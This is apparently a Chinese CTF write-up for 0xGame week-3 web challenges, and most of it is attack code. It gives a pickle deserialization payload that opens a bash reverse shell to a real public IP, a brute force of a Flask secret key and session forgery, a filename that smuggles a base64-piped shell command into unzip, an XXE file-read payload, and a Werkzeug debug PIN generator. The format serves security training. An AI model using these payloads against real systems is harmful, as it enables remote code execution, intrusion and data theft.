0xGame-Week3-web

前言:0xGame的web题真恶心啊,题目环境一直重置,给我心态搞崩溃了

notebook

先看一波源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()//表示用来加密session的serect_key是用两个字符的16进制表示的,可以爆破

class Note(object):
def __init__(self, name, content):
self._name = name
self._content = content

@property
def name(self):
return self._name

@property
def content(self):
return self._content


@app.route('/')
def index():
return render_template('index.html')


@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')

note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')

note = pickle.loads(note_raw)//存在pickle反序列化漏洞,可以伪造session
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add_note', methods=['POST'])
def add_note():
note_name = request.form.get('note_name')
note_content = request.form.get('note_content')

if note_name == '' or note_content == '':
return render_template('index.html', status='add_failed', msg='note name or content is empty')

note_id = str(uuid.uuid4())
note = Note(note_name, note_content)

if not session.get('notes'):
session['notes'] = {}

notes = session['notes']
notes[note_id] = pickle.dumps(note)
session['notes'] = notes
return render_template('index.html', status='add_success', note_id=note_id)


@app.route('/delete_note', methods=['POST'])
def delete_note():
note_id = request.form.get('note_id')
if not note_id:
return render_template('index.html')

notes = session.get('notes')
if not notes:
return render_template('index.html', status='delete_failed', msg='You have no notes')

if not notes.get(note_id):
return render_template('index.html', status='delete_failed', msg='This note does not exist')

del notes[note_id]
session['notes'] = notes
return render_template('index.html', status='delete_success')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

先生成一下爆破用的字典,以备后用

1
2
3
4
5
6
7
8
9
10
11
12
hex_dict = []

# 生成两个字节的所有十六进制情况
for byte1 in range(256):
for byte2 in range(256):
hex_representation = f"'{byte1:02x}{byte2:02x}'" # 生成带有单引号的小写字母的十六进制表示
hex_dict.append(hex_representation) # 将带有单引号的十六进制表示添加到列表

# 将列表写入 txt 文件
with open("hex_dict.txt", "w") as file:
for item in hex_dict:
file.write(f"{item}\n")

可以得到字典文件hex_dict.txt

image-20231019192601423

之后先得到session值,再用flask-unsign工具爆破得到key

1
flask-unsign --unsign --wordlist hex_dict.txt --cookie < cookie.txt

image-20231019194859918

解密之后的session是这样的

1
{'notes': {'3a8e70fd-a719-405a-85a1-e9dafd9da8b9': b'\x80\x04\x95A\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x04assa\x94\x8c\x08_content\x94\x8c\x07saxsasa\x94ub.'}}

其中

1
b'\x80\x04\x95A\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x04assa\x94\x8c\x08_content\x94\x8c\x07saxsasa\x94ub.'

就是pickle序列化结果,也是我们要注入的地方,首先我们去写一个代命令执行的pickle序列化的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import os
class Note(object):
def __init__(self):
self.name="s"
self.content="sa"
def __reduce__(self):
return (os.system,("bash -c 'bash -i >& /dev/tcp/公网ip/port 0>&1'",))

# 创建一个MaliciousObject实例
note = Note()

# 序列化这个对象
serialized_data = pickle.dumps(note)
print(serialized_data)

得到

1
b"\x80\x04\x95N\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c3bash -c 'bash -i >& /dev/tcp/8.146.209.98/777 0>&1'\x94\x85\x94R\x94."

将得到的字符串拼接到session,即得到

1
{'notes': {'3a8e70fd-a719-405a-85a1-e9dafd9da8b9': b"\x80\x04\x95N\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c3bash -c 'bash -i >& /dev/tcp/8.146.209.98/777 0>&1'\x94\x85\x94R\x94."}}

再将这段代码去去用flask_session_cookie_manager3.py脚本加密

使用方法如下

encode

1
2
3
4
5
6
7
8
usage: flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-t <string>, --cookie-structure <string>
Session cookie structure

decode

1
2
3
4
5
6
7
8
usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>

optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-c <string>, --cookie-value <string>
Session cookie value

加密语句

1
python3 flask_session_cookie_manager3.py encode -s 'f6d5' -t "{'notes': {'e614aa41-62e4-423e-999b-e926213abccc':b'\x80\x04\x95N\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c3bash -c \"bash -i >& /dev/tcp/8.146.209.98/777 0>&1\"\x94\x85\x94R\x94.'}}"//其中\"是为了转义"不然会报错

上传之后

image-20231019194833906

得到

image-20231019194701982

之后就是为所欲为了

zip_file_manager

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from flask import Flask, request, render_template, redirect, send_file
import hashlib
import os

app = Flask(__name__)

def md5(m):
return hashlib.md5(m.encode('utf-8')).hexdigest()


@app.route('/unzip', methods=['POST'])
def unzip():
f = request.files.get('file')
if not f.filename.endswith('.zip'):
return redirect('/')

user_dir = os.path.join('./uploads', md5(request.remote_addr))
if not os.path.exists(user_dir):
os.mkdir(user_dir)

zip_path = os.path.join(user_dir, f.filename)
dest_path = os.path.join(user_dir, f.filename[:-4])
f.save(zip_path)

os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
return redirect('/')


@app.route('/', defaults={'subpath': ''}, methods=['GET'])
@app.route('/<path:subpath>', methods=['GET'])
def index(subpath):
user_dir = os.path.join('./uploads', md5(request.remote_addr))
if not os.path.exists(user_dir):
os.mkdir(user_dir)

if '..' in subpath:
return 'blacklist'

current_path = os.path.join(user_dir, subpath)

if os.path.isdir(current_path):
res = []
res.append({'type': 'Directory', 'name': '..'})
for v in os.listdir(current_path):
if os.path.isfile(os.path.join(current_path, v)):
res.append({'type': 'File', 'name': v})
else:
res.append({'type': 'Directory', 'name': v})
return render_template('index.html', upload_path=user_dir, res=res)
else:
return send_file(current_path)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def unzip():
f = request.files.get('file')
if not f.filename.endswith('.zip'):
return redirect('/')

user_dir = os.path.join('./uploads', md5(request.remote_addr))
if not os.path.exists(user_dir):
os.mkdir(user_dir)

zip_path = os.path.join(user_dir, f.filename)
dest_path = os.path.join(user_dir, f.filename[:-4])
f.save(zip_path)

os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
return redirect('/')

1
os.system('unzip -o {} -d {}'.format(zip_path, dest_path))可能有命令执行漏洞,直接反弹shell

把文件名改成

1
;echo 'xxx' | base64 -d | sh.zip

其中

1
xxx里是你要反弹shell的命令的base64加密结果

改完文件名后上传,并在公网的服务器执行nc -lk port

其中lk表示一直监听直到有人来连

image-20231019195914134

发现成功,接下来为所欲为

GoShop

image-20231019200014474

提示整数溢出,没什么好说的,算是pwn的题吧

rss_parser

XXE 任意文件读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file://%%%%%"> ]> 
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<channel>
<title>file</title>
<link>https://exp10it.cn/</link>
<description>X1r0z Blog</description>
<generator>Hugo -- gohugo.io</generator>
<language>en</language>
<managingEditor>i@exp10it.cn (X1r0z)</managingEditor>
<webMaster>i@exp10it.cn (X1r0z)</webMaster>
<copyright>This work is licensed under a Creative Commons Attribution-NonCommercial 4.0
International License.</copyright>
<lastBuildDate>Tue, 17 Oct 2023 21:24:23 &#43;0800</lastBuildDate>
<atom:link href="https://exp10it.cn/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>&file;</title>
<link>
https://exp10it.cn/2023/10/2023-%E4%B8%AD%E5%8D%8E%E6%AD%A6%E6%9C%AF%E6%9D%AF-web-writeup/</link>
<pubDate>Tue, 17 Oct 2023 21:24:23 &#43;0800</pubDate>
<author>
<name>X1r0z</name>
</author>
<guid>
https://exp10it.cn/2023/10/2023-%E4%B8%AD%E5%8D%8E%E6%AD%A6%E6%9C%AF%E6%9D%AF-web-writeup/</guid>
<description><![CDATA[<p>2023 中华武术杯 Web Writeup (AWDP + 靶场)</p>]]></description>
</item>
</channel>
</rss>

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import hashlib
from itertools import chain
probably_public_bits = [
'app',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485378744322',# str(uuid.getnode()), /sys/class/net/ens33/address
# get_machine_id(), /etc/machine-id + /proc/self/cgroup 第一行最后一个斜杠后面的值
'5dcbb593-2656-4e8e-a4e9-9a0afb803c47'
]

#h = hashlib.md5() # python 3.9以下用
h = hashlib.sha1() # python 3.9及以shang用
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

img


0xGame-Week3-web
http://www.qetx.top/posts/27788/
作者
Qetx.Jul.27
发布于
2023年10月19日
许可协议